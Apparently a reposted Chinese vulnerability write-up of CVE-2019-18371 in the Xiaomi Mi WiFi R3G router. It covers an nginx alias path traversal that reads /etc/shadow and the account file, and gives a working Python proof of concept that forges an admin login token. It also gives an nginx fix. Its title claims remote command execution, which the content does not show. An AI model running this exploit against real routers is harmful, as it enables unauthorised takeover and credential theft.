(CVE-2019-18371)Xiaomi Mi WiFi R3G 远程命令执行漏洞

admin 2022年1月6日00:42:20评论401 views字数 4404阅读14分40秒阅读模式

一、漏洞简介

Xiaomi Mi WiFi R3G是中国小米科技(Xiaomi)公司的一款3G路由器。 Xiaomi Mi WiFi R3G 2.28.23-stable之前版本中存在输入验证错误漏洞。该漏洞源于网络系统或产品未对输入的数据进行正确的验证。

二、漏洞影响

Xiaomi Mi WiFi R3G 2.28.23-stable之前版本

三、复现过程

小米路由器的nginx配置文件错误,导致目录穿越漏洞,实现任意文件读取(无需登录)

nginx配置不当可导致目录穿越漏洞,

1
2
3
location /xxx {
alias /abc/;
}

可通过访问http://domain.cn/xxx../etc/passwd实现目录穿越访问上级目录及其子目录文件。

在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf中,存在

1
2
3
location /api-third-party/download/extdisks {
alias /extdisks/;
}

故可以任意文件读取根目录下的所有文件,而且是root权限,如访问http://192.168.31.1/api-third-party/download/extdisks../etc/shadow

image-20200904224803971

类似的问题,存在多处如

1
2
3
4
5
6
7
8
9
10
location /backup/log {
alias /tmp/syslogbackup/;
}

location /api-third-party/download/public {
alias /userdisk/data/;
}
location /api-third-party/download/private {
alias /userdisk/appdata/;
}

通过任意文件读取,登录路由器后台

不是明文存储密码,进行一定分析。关注两个过程,一是登录时前端js生成http post请求参数过程,二是验证用户登陆的后端过程。

登录时前端js生成http post请求参数过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var Encrypt = {
key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
iv: '64175472480004614961023454661220',
nonce: null,
init: function(){
var nonce = this.nonceCreat();
this.nonce = nonce;
return this.nonce;
},
nonceCreat: function(){
var type = 0;
// 自己的mac地址
var deviceId = '<%=mac%>';
var time = Math.floor(new Date().getTime() / 1000);
var random = Math.floor(Math.random() * 10000);
return [type, deviceId, time, random].join('_');
},
oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
},
//...
};

可知oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')),登陆请求包为

1
2
3
4
POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: 192.168.31.1

username=admin&amp;password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_时间戳_5248

验证用户登陆的后端过程

调用XQSecureUtil.checkUser函数

1
2
3
4
5
6
7
8
9
10
11
function checkUser(user, nonce, encStr)
-- 从xiaoqiang 配置文件中读取信息
local password = XQPreference.get(user, nil, "account")
if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
if XQCryptoUtil.sha1(nonce..password) == encStr then
return true
end
end
XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
return false
end

跟进XQPreference.get函数易知道是从/etc/config/account文件中读取某个字符串,这里称它为accountStr

checkUser函数判断等式为(encStr为参数oldPwd)

1
2
3
sha1(nonce + sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
==
sha1(nonce + accountStr)

1
accountStr == sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')

故,只需要读取/etc/config/account得到accountStr即可构造如下数据包登陆

1
2
3
4
POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: 192.168.31.1

username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_时间戳_5248

实现任意登陆poc

arbitrary_file_read_vulnerability.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

def get_mac():
## get mac
r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
# print(mac)
return mac

def get_account_str():
## read /etc/config/account
r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
print(r1.text)
account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
return account_str

def create_nonce(mac):
type_ = 0
deviceId = mac
time_ = int(time.time())
rand = random.randint(0,10000)
return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):
m = hashlib.sha1()
m.update((nonce + account_str).encode('utf-8'))
return m.hexdigest()

mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login",
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)

可以获取到登录的stok

image-20200904234409100

修复方案

任意文件读取

/etc/sysapihttpd/sysapihttpd.conf中的形如以下形式修改为

1
2
3
location /xxx {
alias /abc/;
}

修改为

1
2
3
location /xxx/ {
alias /abc/;
}

参考链接

https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日00:42:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (CVE-2019-18371)Xiaomi Mi WiFi R3G 远程命令执行漏洞http://cn-sec.com/archives/720856.html

发表评论

匿名网友 填写信息